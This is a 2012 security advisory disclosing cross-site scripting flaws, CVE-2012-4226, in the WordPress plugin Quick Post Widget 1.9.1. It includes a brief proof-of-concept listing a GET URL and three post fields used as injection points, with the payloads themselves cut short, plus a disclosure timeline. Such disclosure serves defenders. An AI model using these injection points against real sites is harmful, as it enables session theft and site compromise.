Advisory: WordPress Plugin 'Quick Post Widget' 1.9.1 Multiple Cross-site scripting vulnerabilities
Advisory ID: SSCHADV2012-016
Author: Stefan Schurtz
Affected Software: Successfully tested on Quick Post Widget 1.9.1
Vendor URL: http://qpw.famvanakkeren.nl/
Vendor Status: informed
CVE-ID: CVE-2012-4226
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Vulnerability Description
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The WordPress plugin Quick Post Widget 1.9.1 is prone to multiple XSS vulnerabilities
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PoC-Exploit
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// GET
http://[target]/wordpress/?">
// POST
http://[target]/wordpress/ -> Quickpost 'Title' -> ">
http://[target]/wordpress/ -> Quickpost 'Content' -> ">
http://[target]/wordpress/ -> Quickpost 'New category' -> ">
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Solution
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Disclosure Timeline
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02-Jul-2012 - developer informed
09-Jul-2012 - developer feedback
10-Aug-2012 - post on BugTraq
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Credits
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Vulnerabilities found and advisory written by Stefan Schurtz.
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References
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http://www.darksecurity.de/advisories/2012/SSCHADV2012-016.txt